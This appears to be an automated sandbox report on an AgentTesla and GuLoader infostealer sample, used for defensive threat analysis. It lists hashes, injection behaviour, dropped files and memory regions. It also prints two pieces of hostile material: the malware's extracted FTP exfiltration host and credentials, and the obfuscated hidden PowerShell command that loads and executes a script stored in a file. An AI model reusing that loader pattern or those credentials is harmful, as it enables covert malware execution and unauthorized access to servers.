agenttesla | d6d400c0847a1893dea669a1c8cfee475cafd9439bc50c694eaccbc04211a0e7

Analysis

max time kernel
143s
max time network
149s
platform
windows10-2004_x64
resource
win10v2004-20231130-en
resource tags

arch:x64arch:x86image:win10v2004-20231130-enlocale:en-usos:windows10-2004-x64system
submitted
07-12-2023 07:38

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General

Target

Zamówienie.ZD33166.exe
Size

698KB
MD5

16d009c42496db59b33e6723f913d0c9
SHA1

bed0f6cf09e6bc16190e694d493f891732816e8d
SHA256

d6d400c0847a1893dea669a1c8cfee475cafd9439bc50c694eaccbc04211a0e7
SHA512

02853827c4d99c441c1daf2d22d0da23f42115e7da66396dc9794017322502aee37d2573acc9bf0c3ec300db6697b49ffd3568d1a8544c39973c613daa7f64e3
SSDEEP

12288:UwFGHEN1Sn2VNDyu0AP/0wGc/fMz3rzNI3ylgimtdYM3O0V7bby:U5HEN16kh01w3sZlgZtub0V7q

Score

10^/10

agenttesla guloader downloader keylogger spyware stealer trojan

Malware Config

Extracted

Family

agenttesla

Credentials

Protocol: ftp
Host:
ftp://ftp.omamontaggi.it
Port:
21
Username:
[email protected]
Password:
pass@A12345@

Signatures

AgentTesla
Agent Tesla is a remote access tool (RAT) written in visual basic.
keylogger trojan stealer spyware agenttesla
Guloader,Cloudeye
A shellcode based downloader first seen in 2020.
downloader guloader
Drops file in System32 directory 1 IoCs

Processes:

Zamówienie.ZD33166.exe

description ioc process

File opened for modification C:\Windows\SysWOW64\Haglskadeforsikring\Miljankenvnet.ini Zamówienie.ZD33166.exe
Suspicious use of NtCreateThreadExHideFromDebugger 1 IoCs

Processes:

msbuild.exe

pid process

4028 msbuild.exe
Suspicious use of NtSetInformationThreadHideFromDebugger 2 IoCs

Processes:

powershell.exemsbuild.exe

pid process

1864 powershell.exe
4028 msbuild.exe
Suspicious use of SetThreadContext 1 IoCs

Processes:

powershell.exe

description pid process target process

PID 1864 set thread context of 4028 1864 powershell.exe msbuild.exe

description	ioc	process
File opened for modification	C:\Windows\SysWOW64\Haglskadeforsikring\Miljankenvnet.ini	Zamówienie.ZD33166.exe

pid	process
4028	msbuild.exe

description	pid	process	target process
PID 1864 set thread context of 4028	1864	powershell.exe	msbuild.exe

Drops file in Program Files directory 4 IoCs

Processes:

Zamówienie.ZD33166.exe

description	ioc	process
File opened for modification	C:\Program Files (x86)\Common Files\integraltegnets\substrate.Ski	Zamówienie.ZD33166.exe
File created	C:\Program Files (x86)\cockling.lnk	Zamówienie.ZD33166.exe
File opened for modification	C:\Program Files (x86)\cockling.lnk	Zamówienie.ZD33166.exe
File opened for modification	C:\Program Files (x86)\Kldebonnets.kod	Zamówienie.ZD33166.exe

Drops file in Windows directory 3 IoCs

Processes:

Zamówienie.ZD33166.exe

description	ioc	process
File created	C:\Windows\bagvognen.lnk	Zamówienie.ZD33166.exe
File opened for modification	C:\Windows\Calottes.Doo	Zamówienie.ZD33166.exe
File opened for modification	C:\Windows\bagvognen.lnk	Zamówienie.ZD33166.exe

Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).

System Information Discovery
T1082

Suspicious behavior: EnumeratesProcesses 10 IoCs

Processes:

powershell.exemsbuild.exe

pid	process
1864	powershell.exe
1864	powershell.exe
1864	powershell.exe
1864	powershell.exe
1864	powershell.exe
1864	powershell.exe
1864	powershell.exe
1864	powershell.exe
4028	msbuild.exe
4028	msbuild.exe

Suspicious behavior: MapViewOfSection 1 IoCs

Processes:

powershell.exe

pid process

1864 powershell.exe
Suspicious use of AdjustPrivilegeToken 2 IoCs

Processes:

powershell.exemsbuild.exe

description pid process

Token: SeDebugPrivilege 1864 powershell.exe
Token: SeDebugPrivilege 4028 msbuild.exe

description	pid	process
Token: SeDebugPrivilege	1864	powershell.exe
Token: SeDebugPrivilege	4028	msbuild.exe

Suspicious use of WriteProcessMemory 8 IoCs

Processes:

Zamówienie.ZD33166.exepowershell.exe

description	pid	process	target process
PID 3264 wrote to memory of 1864	3264	Zamówienie.ZD33166.exe	powershell.exe
PID 3264 wrote to memory of 1864	3264	Zamówienie.ZD33166.exe	powershell.exe
PID 3264 wrote to memory of 1864	3264	Zamówienie.ZD33166.exe	powershell.exe
PID 1864 wrote to memory of 4028	1864	powershell.exe	msbuild.exe
PID 1864 wrote to memory of 4028	1864	powershell.exe	msbuild.exe
PID 1864 wrote to memory of 4028	1864	powershell.exe	msbuild.exe
PID 1864 wrote to memory of 4028	1864	powershell.exe	msbuild.exe
PID 1864 wrote to memory of 4028	1864	powershell.exe	msbuild.exe

C:\Users\Admin\AppData\Local\Temp\Zamówienie.ZD33166.exe
"C:\Users\Admin\AppData\Local\Temp\Zamówienie.ZD33166.exe"
1⤵
- Drops file in System32 directory
- Drops file in Program Files directory
- Drops file in Windows directory
- Suspicious use of WriteProcessMemory
PID:3264

C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
"powershell.exe" -windowstyle hidden "$Tiljublingens=Get-Content 'C:\Users\Admin\AppData\Roaming\gregerss\dagbger\Balletdanserindernes\Exudatory\Falskspillerens.Ill';$Konferenserne=$Tiljublingens.SubString(48125,3);.$Konferenserne($Tiljublingens)"
2⤵
- Suspicious use of NtSetInformationThreadHideFromDebugger
- Suspicious use of SetThreadContext
- Suspicious behavior: EnumeratesProcesses
- Suspicious behavior: MapViewOfSection
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
PID:1864

C:\Windows\Microsoft.NET\Framework\v4.0.30319\msbuild.exe
"C:\Windows\Microsoft.NET\Framework\v4.0.30319\msbuild.exe"
3⤵
- Suspicious use of NtCreateThreadExHideFromDebugger
- Suspicious use of NtSetInformationThreadHideFromDebugger
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
PID:4028

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Persistence

Privilege Escalation

Defense Evasion

Credential Access

Discovery

System Information Discovery

T1082

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Replay Monitor

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Downloads

C:\Users\Admin\AppData\Local\Temp\Rkkens.ini

Filesize
32B

MD5
a8ca1db6ae34f5e5c152094f44f92476

SHA1
9fe0fd4e6907c4f9099d2533c3bade4ffa0968e7

SHA256
1f0dbc97d6570f2f5a1e18f82842c9a0007e568ca8fb768c123637ef5077aad3

SHA512
e48e987e1f8297b17f7fb5b8b34da6131156834310987600b20b0dcff4c43632ccb4b2305030a4a999f783176d480c8300e6aef92afbb2032379eca6dac88b5a

Download Submit
C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_zoukisso.l3x.ps1

Filesize
60B

MD5
d17fe0a3f47be24a6453e9ef58c94641

SHA1
6ab83620379fc69f80c0242105ddffd7d98d5d9d

SHA256
96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7

SHA512
5b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82

Download Submit
C:\Users\Admin\AppData\Roaming\gregerss\dagbger\Balletdanserindernes\Exudatory\Falskspillerens.Ill

Filesize
47KB

MD5
fa2b04b706a4a1a50a3866e1fffb34f7

SHA1
0bf99926ab1aff752fd2325d7dadcf68440cda83

SHA256
d16797d1615df0383dab78a1e90f594439ae34c0f0cc9083e5883f42585718c5

SHA512
58097ca7d6c8145504b41807f2e0aa4b41aa4d5e58943d47455c7e60a5bc4288756503d5a93e3c2c362c5c5aa0c782af3cf30a6a10e206d498eed7e7ae993263

Download Submit
C:\Users\Admin\AppData\Roaming\gregerss\dagbger\Balletdanserindernes\Exudatory\Wreathless.You

Filesize
301KB

MD5
a7d050056af386ff8097a7effd1d9f6f

SHA1
008fafc028955c2bdab6508168135e42b1c2d437

SHA256
5270d655c8baee63673cce7a5d4c4bd8130d37dcc5a0688d5589913b96cc6d95

SHA512
7413802fcf4e35e690adef8718dfad2fc73848a3f5e9ea7bc9636795dce7cba8bf28022d28e9323041e2210a2ab413f48d1a990f2bb7b40bf42602b28788870d

Download Submit
memory/1864-198-0x0000000009190000-0x000000000AC52000-memory.dmp

Filesize
26.8MB

Download
memory/1864-171-0x00000000053E0000-0x00000000053F0000-memory.dmp

Filesize
64KB

Download
memory/1864-173-0x0000000006050000-0x0000000006072000-memory.dmp

Filesize
136KB

Download
memory/1864-174-0x00000000061B0000-0x0000000006216000-memory.dmp

Filesize
408KB

Download
memory/1864-170-0x00000000053E0000-0x00000000053F0000-memory.dmp

Filesize
64KB

Download
memory/1864-175-0x0000000006290000-0x00000000062F6000-memory.dmp

Filesize
408KB

Download
memory/1864-168-0x00000000032D0000-0x0000000003306000-memory.dmp

Filesize
216KB

Download
memory/1864-186-0x00000000068B0000-0x00000000068CE000-memory.dmp

Filesize
120KB

Download
memory/1864-187-0x0000000006900000-0x000000000694C000-memory.dmp

Filesize
304KB

Download
memory/1864-189-0x0000000006DD0000-0x0000000006DEA000-memory.dmp

Filesize
104KB

Download
memory/1864-188-0x0000000007890000-0x0000000007926000-memory.dmp

Filesize
600KB

Download
memory/1864-190-0x0000000006E20000-0x0000000006E42000-memory.dmp

Filesize
136KB

Download
memory/1864-191-0x0000000007EE0000-0x0000000008484000-memory.dmp

Filesize
5.6MB

Download
memory/1864-207-0x0000000009190000-0x000000000AC52000-memory.dmp

Filesize
26.8MB

Download
memory/1864-193-0x0000000008B10000-0x000000000918A000-memory.dmp

Filesize
6.5MB

Download
memory/1864-169-0x0000000073D20000-0x00000000744D0000-memory.dmp

Filesize
7.7MB

Download
memory/1864-196-0x0000000007DB0000-0x0000000007DB4000-memory.dmp

Filesize
16KB

Download
memory/1864-200-0x0000000073D20000-0x00000000744D0000-memory.dmp

Filesize
7.7MB

Download
memory/1864-185-0x0000000006400000-0x0000000006754000-memory.dmp

Filesize
3.3MB

Download
memory/1864-172-0x0000000005A20000-0x0000000006048000-memory.dmp

Filesize
6.2MB

Download
memory/1864-197-0x0000000009190000-0x000000000AC52000-memory.dmp

Filesize
26.8MB

Download
memory/1864-199-0x0000000077981000-0x0000000077AA1000-memory.dmp

Filesize
1.1MB

Download
memory/1864-202-0x00000000053E0000-0x00000000053F0000-memory.dmp

Filesize
64KB

Download
memory/1864-204-0x00000000053E0000-0x00000000053F0000-memory.dmp

Filesize
64KB

Download
memory/1864-217-0x0000000009190000-0x000000000AC52000-memory.dmp

Filesize
26.8MB

Download
memory/1864-213-0x0000000073D20000-0x00000000744D0000-memory.dmp

Filesize
7.7MB

Download
memory/4028-218-0x0000000021080000-0x00000000210D0000-memory.dmp

Filesize
320KB

Download
memory/4028-211-0x000000006EB20000-0x000000006FD74000-memory.dmp

Filesize
18.3MB

Download
memory/4028-212-0x0000000000D50000-0x0000000002812000-memory.dmp

Filesize
26.8MB

Download
memory/4028-206-0x0000000077981000-0x0000000077AA1000-memory.dmp

Filesize
1.1MB

Download
memory/4028-215-0x0000000073D20000-0x00000000744D0000-memory.dmp

Filesize
7.7MB

Download
memory/4028-214-0x000000006EB20000-0x000000006EB60000-memory.dmp

Filesize
256KB

Download
memory/4028-216-0x0000000020C20000-0x0000000020C30000-memory.dmp

Filesize
64KB

Download
memory/4028-205-0x0000000077A08000-0x0000000077A09000-memory.dmp

Filesize
4KB

Download
memory/4028-201-0x0000000000D50000-0x0000000002812000-memory.dmp

Filesize
26.8MB

Download
memory/4028-220-0x0000000021100000-0x000000002110A000-memory.dmp

Filesize
40KB

Download
memory/4028-219-0x0000000021790000-0x0000000021822000-memory.dmp

Filesize
584KB

Download
memory/4028-222-0x0000000000D50000-0x0000000002812000-memory.dmp

Filesize
26.8MB

Download
memory/4028-224-0x0000000073D20000-0x00000000744D0000-memory.dmp

Filesize
7.7MB

Download
memory/4028-226-0x0000000020C20000-0x0000000020C30000-memory.dmp

Filesize
64KB

Download